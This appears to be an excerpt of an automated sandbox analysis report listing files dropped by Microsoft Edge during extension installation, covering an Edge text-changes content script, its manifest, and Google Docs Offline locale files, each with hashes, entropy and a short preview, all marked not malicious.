SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir4476_101984300\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir4476_101984300\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
